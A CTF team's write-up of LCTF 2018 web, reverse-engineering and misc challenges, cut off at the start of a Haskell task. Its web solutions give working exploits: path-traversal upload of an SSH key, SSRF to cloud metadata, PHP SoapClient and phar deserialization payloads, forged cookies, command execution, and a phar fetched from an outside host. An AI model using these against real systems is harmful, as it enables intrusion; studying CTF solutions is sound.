by Vidar-Team
Team:http://vidar.club
[TOC]
WEB
Travel
源码
# -*- coding: utf-8 -*-
from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid
app = create_app()
@app.route('/upload/', methods=['PUT'])
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' and pwd != str(uuid.getnode()):
return "0"
filename = urllib.unquote(filename)
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text=True))
return "1"
return "0"
@app.route('/', methods=['GET'])
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]:
return "hacker"
try:
response = requests.get(url, timeout=10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"
@app.route('/source', methods=['GET'])
def get_source():
return open(__file__).read()
if __name__ == '__main__':
app.run()
使用X-HTTP-Method-Override: PUT就可以上传文件了
https://cloud.tencent.com/document/product/215/20109
腾讯云文档中可以看到怎么获得mac地址
这能拿到mac地址
http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/mac
传.ssh
curl -X GET -H "X-HTTP-Method-Override: PUT" -H "Cookie: name=lctf;pwd=90520735500403" "http://118.25.150.86/upload/..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys" -F "authorized_keys=ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMecVVKChtdzTHnJ5+6+gdcspJ2zyTNlw9fEp6xJOPKB1MA+hthPdb0BQkIKpSSknALLJYe0Ro7RIfzXxmzsWneD8Iq9xbl3G65v7QlzMujgNPARQTvqf0CE5DvSEn13PM9yMNLw+3w8ZLSmtyAvfXl4rN8vUoBaxlVVawMGoZc82jQJOmua7sDpJ+Qt0W5KrDf2TCwP2HR93Z83Qzc5AhVlkC8YGPxW0b2es9toftJ1REAoSz14hGvqZWM0V8eEUmpE8ohXce50RhLnxJc8/jVcqLCvFYPqEJfFzwaeFMCfi5FEVLmIgA2DtSYtige/Zvm7MqAdwHh+i28S9yL/Jl linzhexi_7@foxmail.com"
flag在/app/flag下
T4lk 1s ch34p,sh0w m3 the sh31l
先上传再phar反序列化
可能是非预期,但绕过了头限制,安全客的文章可以通过协议传导compress.zlib://phar://这种方式来执行phar
在check的地方phar反序列化
http://212.64.7.171/LCTF.php?m=upload&url=http://94.191.97.184/phar.phar?a=
看进程里他们都在sh -c grep -ir "lctf" > /tmp/xxx
直接看tmp目录下就行了
bestphp's revenge
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
可以通过extract把b给改了
反序列化+ssrf
SoapClient 之前N1CTF有过
php session的反序列化
session_start可以设置,直接可以传数组
session_start 序列化一个soap访问flag.php,然后$b替换成call_user_func,在var_dump出错误信息,得到session_id,替换下就可以了
import requests
import re
url = "http://172.81.210.82/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler' : 'php_serialize'}
url1 = url+"?f=session_start&name="+payload
html = r.post(url1, data=data).text
data = {'b' : "call_user_func"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text
data = {'b' : "var_dump"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text
rs = re.findall(r'string\(26\) "(.*?)"', html)
url2 = url
cookie = {"Cookie":"PHPSESSID="+rs[0]}
html = r.post(url2,headers = cookie).text
print html
sh0w m3 the sh31l 4ga1n
继续非预期 神奇的发现第二题的$SECRET==NULL
直接伪造反序列化结束
php伪造脚本
<?php
class K0rz3n_secret_flag {
protected $file_path="/var/www/file/48915dedf3ce9ddc70aeefe2a42006a4/avatar.gif";
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
// include_once($this->file_path);
}
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
$data = serialize(new K0rz3n_secret_flag());
$hmac = hash_hmac("md5", $data, NULL);
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));
$data = serialize(new User("../file/48915dedf3ce9ddc70aeefe2a42006a4"));
$hmac = hash_hmac("md5", $data, NULL);
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));
传shell
GET /LCTF.php?m=upload&url=http://test.tan90.me HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%22%3B%7D-----01d76466746e56bfe3e9558529df2709
Connection: close
执行命令
GET /LCTF.php?m=upload&url=http://test.tan90.me&cmd=ls%20-al%20/tmp HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A18%3A%22K0rz3n_secret_flag%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00file_path%22%3Bs%3A57%3A%22%2Fvar%2Fwww%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%2Favatar.gif%22%3B%7D-----7b954f00dc02cd915b1c3d4872112634
Connection: close
flag在哪
view-source:http://212.64.74.153/LCTF.php?m=upload&url=http://test.tan90.me&cmd=cat%20/etc/gai.conf
L playground2
os.path.join
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
file://sandbox//var/www/project/playground/
file://sandbox//var/www/project/playground/__pycache__
main.cpython-37.pyc
from flask import Flask, escape, request, make_response, render_template
from session import *
from utils import *
from flag import FLAG
from parser import parse
app = Flask(__name__)
@app.route('/')
def index():
user = request.cookies.get('user', '')
try:
username = session_decode(user)
except Exception:
username = get_username()
content = escape(username)
else:
if username == 'admin':
content = escape(FLAG)
else:
content = escape(username)
resp = make_response(render_template('main.html', content=content))
return resp
@app.route('/sandbox')
def render_static():
if not check_token(request.args.get('token')):
resp = make_response('invalid request')
else:
url = request.args.get('url')
try:
if url is None or url == '':
content = 'no url input'
else:
content = parse(url)
resp = make_response(content)
except Exception:
resp = make_response('url error')
resp.mimetype = 'text/plain'
return resp
app.run(port=5000)
utils.py
import random, string, base64, datetime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = b'lctf2018lctf2018'
block_size = 16
def random_str(length=5):
random.seed(None)
return ''.join((random.choice(string.ascii_letters + string.digits) for _ in range(length)))
def get_username():
username = random_str(length=5)
if username != 'admin':
return username
else:
return get_username()
def check_token(token):
if token == '' or token is None:
return False
try:
token = str.replace(token, ' ', '+')
token = base64.b64decode(token)
cipher = AES.new(key, AES.MODE_ECB)
token = cipher.decrypt(token)
token = unpad(token, block_size)
token = str(token, 'utf-8')
except Exception as e:
try:
return False
finally:
e = None
del e
token = str.split(token, '@')
if len(token) != 4:
return False
try:
w = int(token[0])
h = int(token[1])
ua = token[2]
ts = datetime.datetime.fromtimestamp(int(token[3][:-3]))
except Exception as e:
try:
return False
finally:
e = None
del e
if w < 100 or h < 100:
return False
if 'urllib' in ua or 'requests' in ua or 'PhantomJS' in ua or 'Python' in ua or 'Scrapy' in ua or 'curl' in ua or 'Wget' in ua:
return False
now = datetime.datetime.now()
if ts < now + (datetime.timedelta(minutes=3)):
if ts > now - (datetime.timedelta(minutes=3)):
return True
return False
session.py
import base64
from hash import MDA
from flag import seed
def encode(info):
return str(base64.b32encode(bytes(info, 'utf-8')), 'utf-8')
def decode(info):
return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')
def hash_encode(info):
md = MDA(seed)
return md.grouping(info)
def hash_verify(hash_info, info):
return hash_encode(info) == hash_info
def session_encode(info):
return '%s.%s' % (encode(info), hash_encode(info))
def session_decode(info):
info_list = str.split(info, '.')
if len(info_list) != 2:
raise Exception('error info')
info_ = decode(info_list[0])
if not hash_verify(info_list[1], info_):
raise Exception('hash wrong')
return info_
hash.py
# uncompyle6 version 3.2.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.0 (default, Oct 2 2018, 09:19:48)
# [Clang 9.0.0 (clang-900.0.39.2)]
# Embedded file name: hash.py
# Size of source mod 2**32: 4512 bytes
__metaclass__ = type
import random, struct
def _bytelist2long(list):
imax = len(list) // 4
hl = [0] * imax
j = 0
i = 0
while i < imax:
b0 = ord(list[j])
b1 = ord(list[j + 1]) << 8
b2 = ord(list[j + 2]) << 16
b3 = ord(list[j + 3]) << 24
hl[i] = b0 | b1 | b2 | b3
i = i + 1
j = j + 4
return hl
def _rotateLeft(x, n):
return x << n | x >> 32 - n
def F(x, y, z):
return x & y | ~x & z
def G(x, y, z):
return x & z | y & ~z
def H(x, y, z):
return x ^ y ^ z
def I(x, y, z):
return y ^ (x | ~z)
def XX(func, a, b, c, d, x, s, ac):
res = 0
res = res + a + func(b, c, d)
res = res + x
res = res + ac
res = res & 65535
res = _rotateLeft(res, s)
res = res & 65535
res = res + b
return res & 65535
class MDA:
def __init__(self, seed='lctf2018'):
self.seed = seed
self.init()
def init(self):
self.length = 0
self.count = [0, 0]
self.input = []
random.seed(self.seed)
self.A = random.randint(3326, 27529)
self.B = random.randint(3326, 27529)
self.C = random.randint(3326, 27529)
self.D = random.randint(3326, 27529)
def _transform(self, inp):
a, b, c, d = A, B, C, D = (
self.A, self.B, self.C, self.D)
S11, S12, S13, S14 = (7, 12, 17, 22)
a = XX(F, a, b, c, d, inp[0], S11, 42104)
d = XX(F, d, a, b, c, inp[1], S12, 46934)
c = XX(F, c, d, a, b, inp[2], S13, 28891)
b = XX(F, b, c, d, a, inp[3], S14, 52974)
S21, S22, S23, S24 = (5, 9, 14, 20)
a = XX(G, a, b, c, d, inp[1], S21, 9570)
b = XX(G, b, c, d, a, inp[0], S24, 51114)
c = XX(G, c, d, a, b, inp[3], S23, 3463)
d = XX(G, d, a, b, c, inp[2], S22, 41976)
S31, S32, S33, S34 = (4, 11, 16, 23)
a = XX(H, a, b, c, d, inp[1], S31, 59972)
d = XX(H, d, a, b, c, inp[0], S32, 10234)
c = XX(H, c, d, a, b, inp[3], S33, 12421)
b = XX(H, b, c, d, a, inp[2], S34, 22117)
S41, S42, S43, S44 = (6, 10, 15, 21)
a = XX(I, a, b, c, d, inp[0], S41, 8772)
d = XX(I, d, a, b, c, inp[3], S42, 52370)
b = XX(I, b, c, d, a, inp[1], S44, 24017)
c = XX(I, c, d, a, b, inp[2], S43, 53947)
A = A + a & 32767
B = B + b & 32767
C = C + c & 32767
D = D + d & 32767
self.A, self.B, self.C, self.D = (
A, B, C, D)
def update(self, inBuf):
leninBuf = len(inBuf)
index = self.count[0] >> 3 & 15
self.count[0] = self.count[0] + (leninBuf << 3)
if self.count[0] < leninBuf << 3:
self.count[1] = self.count[1] + 1
self.count[1] = self.count[1] + (leninBuf >> 29)
partLen = 16 - index
if leninBuf >= partLen:
self.input[index:] = list(inBuf[:partLen])
self._transform(_bytelist2long(self.input))
i = partLen
while i + 15 < leninBuf:
self._transform(_bytelist2long(list(inBuf[i:i + 16])))
i = i + 16
else:
self.input = list(inBuf[i:leninBuf])
else:
i = 0
self.input = self.input + list(inBuf)
def insert(self, inBuf):
self.init()
self.update(inBuf)
def digest(self):
A = self.A
B = self.B
C = self.C
D = self.D
input = [] + self.input
count = [] + self.count
index = self.count[0] >> 3 & 15
if index < 8:
padLen = 8 - index
else:
padLen = 24 - index
padding = ['\x80'] + ['\x00'] * 15
self.update(padding[:padLen])
bits = _bytelist2long(self.input[:8]) + count
self._transform(bits)
digest = struct.pack('<hhhh', self.A, self.B, self.C, self.D)
self.A = A
self.B = B
self.C = C
self.D = D
self.input = input
self.count = count
return digest
def hexdigest(self):
return ''.join(['%02x' % ord(chr(c)) for c in self.digest()])
def grouping(self, inBufGroup):
hexdigest_group = ''
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()
return hexdigest_group
parser.py
import re, os
http_schema = re.compile('https?')
url_parser = re.compile('(\\w+)://([\\w\\-@\\.:]+)/?([\\w/_\\-@&\\?\\.=%()]+)?(#[\\w\\-@&_\\?()/%]+)?')
base_dir = os.path.dirname(os.path.abspath(__file__))
sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'sandbox')
def parse_file(path):
filename = os.path.join(sandbox_dir, path)
if './' in filename or '..' in filename:
return 'invalid content in url'
elif not filename.startswith(base_dir):
return 'url have to start with %s' % base_dir
elif filename.endswith('py') or 'flag' in filename:
return 'invalid content in filename'
elif os.path.isdir(filename):
file_list = os.listdir(filename)
return ', '.join(file_list)
elif os.path.isfile(filename):
with open(filename, 'rb') as (f):
content = f.read()
return content
else:
return "can't find file"
def parse(url):
fragments = url_parser.findall(url)
if len(fragments) != 1 or len(fragments[0]) != 4:
return 'invalid url'
schema = fragments[0][0]
host = fragments[0][1]
path = fragments[0][2]
if http_schema.match(schema):
return "It's a valid http url"
elif schema == 'file':
if host != 'sandbox':
return 'wrong file path'
return parse_file(path)
else:
return 'unknown schema'
得解码出admin
cookie分两部分
前面用户名的base32结果的hash得和cookie的第二部分相同
hash算法用了一个未知的seed
OZJE25ZT.060dc00c4a7071436b042d0caf7bd64eee5bc0653257592acf254b2513653a38591487249d53c426
vRMw3
info = str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8') #OZJE25ZT
hash(info) == info2
# info2: 060dc00c4a7071436b042d0caf7bd64eee5bc0653257592acf254b2513653a38591487249d53c426
def hash_encode(info):
md = MDA(seed)
return md.grouping(info)
random.seed 不管是啥结果都会转成int
https://docs.python.org/3/library/random.html
grouping 完全就是单字节映射。。。
def grouping(self, inBufGroup):
hexdigest_group = ''
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()
import requests
import base64
import time
lists = ['a','d','m','i','n']
h = ''
for x in lists:
while 1:
print 'try'
headers = headers = {'User-Agent':'chrome'}
r=requests.get('http://212.64.7.239/',headers)
cookie = r.headers['Set-Cookie']
cookie = cookie.split('=')[1]
info_list = cookie.split('.')
info = info_list[0]
info2 = info_list[1]
username = base64.b32decode(info)
print username
if x in username:
idx = username.index(x)
h += info2[idx*16:(idx+1)*16]
print h
break
print 'cookie: ' + base64.b32encode('admin') + '.' + h
RE
拿去签到吧朋友
首先在start函数内藏了一段smc 在sub_402870内调用了sub_40143f继续调用了sub_401451 将sub_408000修改了。这一段代码我是在跟'idaq.exe'这些反调的字符串时跟到的,对于最后解那段smc有帮助。
主函数还是经典的crackme,输入36个字符做判断。输入的字符构建了一个字典树,最后的检测分为两段,第一段做了一个先序遍历,将先序遍历的结果做一个DES加密(密钥为'fa1conn\x00')后再将加密后的的前36个字节做一个矩阵乘法,最后做一个先序遍历的字符对应在原输入串的位置的判断。所以只要解一个矩阵乘法,将DES解密就能拿到所有的字符,且知道前半段的顺序,脚本如下:
from Crypto.Cipher import DES
from z3 import *
solver = Solver()
flag = [Int('flag%d'%i) for i in range(36)]
a = [i for i in flag]
b = [23, 65, 24, 78, 43, 56, 59, 67, 21, 43, 45, 76, 23, 54, 76, 12, 65, 43, 89, 40, 32, 67, 73, 57, 23, 45, 31, 54, 31, 52, 13, 24, 54, 65, 34, 24]
c = [0 for i in range(36)]
d = [43666, 49158, 43029, 51488, 53397, 51921, 28676, 39740, 26785, 41665, 35675, 40629, 32311, 31394, 20373, 41796, 33452, 35840, 17195, 29175, 29485, 28278, 28833, 28468, 46181, 58369, 44855, 56018, 57225, 60666, 25981, 26680, 24526, 38780, 29172, 30110]
for i in range(6):
for j in range(6):
for k in range(6):
c[i+6*j] = c[i+6*j] + a[6*j+k]*b[6*k+i]
solver.add(simplify(c[i+6*j]) == d[i+6*j])
if solver.check() == sat:
m = solver.model()
s = []
for i in range(36):
s.append(m[flag[i]].as_long())
print(s)
else:
print('error')
s += [0x73,0x3c,0xf5,0x7c]
obj = DES.new('fa1conn\x00',DES.MODE_ECB)
message2 = ''
for i in s:
message2 += chr(i)
charList = obj.decrypt(message2)
listA = [0,1,14,12,17,18,19,27,28,2,15,20,31,29,30,16,13,5]
flag = ''
for i in listA:
flag += charList[i]
print(flag)
这样就将前半段还原了,后半段的加密很类似,只是这次做了一个后序遍历,且在sub_4021de中做了对sub_401e79的smc,xor rand(),seed用的是所有字符的和。由于sub_401e79在start后已经被xor了一次,所以假如像我这样逆向从后往前逆的人会非常痛苦,直接爆破是肯定出不来的。最后是有一个后续遍历的字符对应在原输入串的位置的判断,且这里都是后半段的字符,所以这里解完就能拿到flag了。那段smc解完如下:
_DWORD *__usercall sub_401E8F@<eax>(int a1@<ebp>)
{
_DWORD *result; // eax
while ( *(_DWORD *)(a1 - 12) <= 35 )
{
for ( *(_DWORD *)(a1 - 16) = 0; *(_DWORD *)(a1 - 16) <= 6; *(_DWORD *)(a1 - 16) += 2 )
array1[*(_DWORD *)(a1 - 12)] = *(_BYTE *)(*(_DWORD *)(a1 - 12) + 0x40B610) ^ (1 << (*(_BYTE *)(a1 - 16)
+ *(_DWORD *)(a1 - 12) % 2));
result = (_DWORD *)(a1 - 12);
++*result;
}
return result;
}
就是将后续遍历的值做一个xor,解开xor就能拿到后续遍历的字符串。poc如下
listA = [0x7C, 0x81, 0x61, 0x99, 0x67, 0x9B, 0x14, 0xEA, 0x68, 0x87, 0x10,0xEC, 0x16, 0xF9,0x7, 0xF2, 0x0F, 0xF3,0x3, 0xF4, 0x33, 0xCF,0x27, 0xC6, 0x26, 0xC3, 0x3D, 0xD0, 0x2C, 0xD2, 0x23, 0xDE,0x28, 0xD1,0x1, 0xE6]
flag = ''
for i in range(len(listA)):
for j in range(4):
listA[i] ^= (1 << ((j * 2) + (i % 2)))
flag += chr(listA[i])
listB = [0x18,0x17,0x22,0x21,0x20,0x14,0x1a,0x15,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1e,0x1f,0x16,0x13,0x12,0x19,0xff,0xff,0xff,0xff,0xff,0xff,0x1d,0x1c,0x1b,0xff,0xff,0x23,0xff,0xff,0xff]
listC = [0] * 36
for i in range(len(listB)):
if(listB[i] == 0xff):
continue
else:
listC[listB[i]] = listA[i]
print(''.join(chr(i) for i in listC[18:]))
easy_VM
opcode = [149, 48, 0, 28, 151, 16, 155, 16, 158, 5, 148, 48, 153, 161, 9, 155, 50, 159, 4, 149, 0, 0, 1,0xa3,146, 0, 159, 1, 163, 149, 0, 0, 128, 149, 32, 0, 63, 149, 48, 0, 123, 149, 64, 0, 28, 151, 16, 141, 18, 139, 19, 143, 16, 152, 16, 153, 148, 64, 135, 64, 146, 64, 159, 1, 163, 138, 64, 161, 22, 163,146, 0, 159, 1, 163, 134, 0, 62, 134, 0, 26, 134, 0, 86, 134, 0, 13, 134, 0, 82, 134, 0, 19, 134, 0, 88, 134, 0, 90, 134, 0, 110, 134, 0, 92, 134, 0, 15, 134, 0, 90, 134, 0, 70, 134, 0, 7, 134, 0, 9, 134, 0, 82, 134, 0, 37, 134, 0, 92, 134, 0, 76, 134, 0, 10, 134, 0, 10, 134, 0, 86, 134, 0, 51, 134, 0, 64, 134, 0, 21, 134, 0, 7, 134, 0, 88, 134, 0, 15, 149, 0, 0, 0, 149, 48, 0, 28, 151, 16, 138, 32, 155, 18, 158, 1, 163, 153, 148, 48, 146, 48, 159, 5, 149, 0, 0, 1, 163, 161, 21, 163]
reg = ['eax','ebx','ecx','edx','edi']
i = 0
while(1):
if(opcode[i] == 0x86):
print(i,'push %d'%((opcode[i + 1] << 32) + opcode[i + 2]))
i += 2
elif(opcode[i] == 0x87):
print(i,'push ' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x88):
print(i,'mov ' + reg[opcode[i + 1] >> 4] + ', %d'%opcode[i + 2])
i += 1
elif(opcode[i] == 0x89 or opcode[i] == 0x96):
print(i,'mov ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8a):
print(i,'pop ' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x8b):
print(i,'add ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8c):
print(i,'sub ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8d):
print(i,'mul ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8e):
print(i,'div ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8f):
print(i,'mod ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x90):
print(i,'xor ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x91):
print(i,'and ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x92):
print(i,'mov edi,' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x93):
print(i,'inc ' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x94):
print(i,'dec ' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x95):
print(i,'mov ' + reg[opcode[i + 1] >> 4] + ', %d'%((opcode[i + 2] << 32) + opcode[i + 3]))
i += 3
elif(opcode[i] == 0x97):
print(i,'mov ' + reg[opcode[i + 1] >> 4] + ',' + 'input')
i += 1
elif(opcode[i] == 0x98):
print(i,'mov ' + 'input' + ',' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x99):
print(i,'inc input')
elif(opcode[i] == 0x9a):
print(i,'add input,4')
elif(opcode[i] == 0x9b):
print(i,'cmp ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x9c):
print(i,'jl ' + '%d'%(i + opcode[i + 1] + 2))
i += 1
elif(opcode[i] == 0x9d or opcode[i] == 0x9f):
print(i,'jg ' + '%d'%(i + opcode[i + 1] + 2))
i += 1
elif(opcode[i] == 0x9e):
print(i,'je ' + '%d'%(i + opcode[i + 1] + 2))
i += 1
elif(opcode[i] == 0xa1):
print(i,'jmp ' + '%d'%(i - opcode[i + 1]))
i += 1
elif(opcode[i] == 0xa3):
print(i,'break')
else:
i += 1
i += 1
listA = [62,26,86,13,82,19,88,90,110,92,15,90,70,7,9,82,37,92,76,10,10,86,51,64,21,7,88,15][::-1]
import string
flag = ''
#((input * 63) + 123) % 128
for i in range(len(listA)):
for j in string.printable:
if((ord(j) * 63 + 123) % 128) == listA[i]:
flag += j
print(flag)
想起「 Lunatic Game 」
这道题是真签到题。
就是一个扫雷游戏,map每次都不一样,玩通游戏就给你flag。
考虑到flag都应该是相同的,那么做法其实就很多了,改跳转改ip都可以,但我第一次改ip是炸了的,又不想去看程序,
也怕中间又比较了点东西,就用x64dbg将地图dump了下来,完整扫了一遍雷,就拿到flag了~
想起「壶中的大银河 ~ Lunatic 」
sub_39D3 从虚表入手
8D30这个函数里会调用xor虚表,构造的时候就xor了0x35
用LCTF构造的时候就xor了0x35353535 -> yvas
0x10101010是在sub_8c98那边,两种构造方式
第一次到
v5 = g_0((__int64)&pcbc);
(*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v5 + 0x10LL))(v5, 0x35LL);
PCBC->evwv
第一次到
v6 = g_0((__int64)&input);
(*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v6 + 0x10LL))(v6, 0x31LL);
input aaaa->qqqq(这边input xor了0x10)
第一次到
v7 = g_0((__int64)&tmp);
(*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v7 + 0x10LL))(v7, 0x34LL);
LCTF->yvas (构造xor了0x35)
第一个的vtable是xor
第二个是plus
第三个也是xor
最后做一个map
def encrypt(input_list):
pcbc = 0x50434243
out_list=[]
for input in input_list:
lctf = 0x4c435446
tmp = lctf ^ 0x35353535 # construct
input = input ^ 0x10101010 # construct2
print hex(input)[2:].decode('hex')
pcbc ^= 0x35353535
print hex(pcbc)[2:].decode('hex')
input ^= 0x31313131 ^ 0x11111111
print hex(input)[2:].decode('hex')
tmp ^= 0x34343434
input ^= pcbc
print hex(input)[2:].decode('hex')
tmp ^= input ^ 0x11111111
print hex(tmp)[2:].decode('hex')
out_list.append(tmp)
pcbc = tmp
return out_list
def decrypt(l):
inp_list = []
pcbc = 0x50434243
for output in l:
pcbc ^= 0x35353535
input = output ^ pcbc ^ 0x7d726577 ^ 0x11111111
inp_list.append(input)
pcbc = output
return inp_list
def hex2s(num):
num = hex(num)
num = num[2:]
if num[-1] == 'L':
num = num[:-1]
if len(num) %2:
num = '0'+num
return num.decode('hex')
map='QWERTYUIOP!@#$%^'
f='IQURUEURYEU#WRTYIPUYRTI!WTYTE!WOR%Y$W#RPUEYQQ^EE'
s=''
for i in range(len(f)/2):
idx1 = map.index(f[2*i])
idx2 = map.index(f[2*i+1])
k1 = bin(idx1)[2:].rjust(4,'0')
k2 = bin(idx2)[2:].rjust(4,'0')
print k2,k1
s+=chr(int(k1+k2,2))
d=s
print d
lists=[]
for i in range(len(d)/4):
lists.append(int(d[4*i:4*(i+1)].encode('hex'),16))
l = decrypt(lists)
l[-1] ^= 0x35353535
l[0] ^= 0x35353535
flag = ''
for x in l:
flag += hex2s(x)
print flag
MSP430
给了接线图
ida没法直接丢进去。。。
http://www.ti.com/lit/ds/symlink/msp430g2553.pdf
http://www.ti.com/lit/ug/slau318g/slau318g.pdf
资料
http://mspgcc.sourceforge.net/manual/x223.html
inst set
看看processor
把machine type改成0,然后下面选MSP430
loader 有点问题,看个大概吧,
serial_init后keygen,然后加密flag?
加密应该是一个rc4
keygen:
and.b #0C0h, &2Ah *(0x2a) &= 0xc0
bis.b #3Fh, &2Fh *(0x2f) |= 0x3f
mov.b &28h, R15 r15 = *(0x28)
mov.b R15, R13 r13=r15
mov.w R13, R14 r14=r13
rla.w R14 r14*=2
add.w R14, R13 r13 += r14
mov.b R13, 4(R12) *(r12+4) = r13
mov.w R15, R14 r14 = r15
rla.b R14 r14.b*=2?
mov.b R14, 5(R12) *(r12+5) = r14
mov.w R15, R14 r14 = r15
and.b #74h, R14 r14 &= 0x74
rla.b R14 r14.b*=2
mov.b R14, 6(R12) *(r12+6) = r14
add.b #50h, R15 r15 += 0x50
mov.b R15, 7(R12) *(r12+7) = r15
ret
r12是key,剩下4字节猜测是LCTF
.cinit:0000C3F8 .byte 30h ; 0
.cinit:0000C3F9 .byte 31h ; 1
.cinit:0000C3FA .byte 32h ; 2
.cinit:0000C3FB .byte 33h ; 3
.cinit:0000C3FC .byte 34h ; 4
.cinit:0000C3FD .byte 35h ; 5
.cinit:0000C3FE .byte 36h ; 6
.cinit:0000C3FF .byte 37h ; 7
.cinit:0000C400 .byte 38h ; 8
.cinit:0000C401 .byte 39h ; 9
.cinit:0000C402 .byte 61h ; a
.cinit:0000C403 .byte 62h ; b
.cinit:0000C404 .byte 63h ; c
.cinit:0000C405 .byte 64h ; d
.cinit:0000C406 .byte 65h ; e
.cinit:0000C407 .byte 66h ; f
.cinit:0000C408 .byte 4Ch ; L
.cinit:0000C409 .byte 43h ; C
.cinit:0000C40A .byte 54h ; T
.cinit:0000C40B .byte 46h ; F
.cinit:0000C40C .byte 30h ; 0
.cinit:0000C40D .byte 30h ; 0
.cinit:0000C40E .byte 30h ; 0
.cinit:0000C40F .byte 30h ; 0
d='2db7b1a0bda4772d11f04412e96e037c370be773cd982cb03bc1eade'.decode('hex')
def KSA(key):
keylength = len(key)
S = range(256)
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i] # swap
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def decode(key, plaintext):
def convert_key(s):
return [ord(c) for c in s]
key = convert_key(key)
keystream = RC4(key)
d=''
for c in plaintext:
d+=chr((ord(c) ^ keystream.next()))
return d
for x in range(256):
key = [0,0,0,0]
key[0] = chr((x*3)%256)
key[1] = chr((x*2)%256)
key[2] = chr(((x&0x74)*2)%256)
key[3] = chr((x+0x50)%256)
key = ''.join(key)
print decode('LCTF'+key, d)
Misc
想起「恐怖的回忆」
极速入门 Haskell
Main.hs
为程序入口,先做一个 ord
,然后先 encryptoData
再 encodePicture
。先从加密的函数开始读:
-- Crypto.hs
-- 为方便阅读,有些地方修改成伪代码了
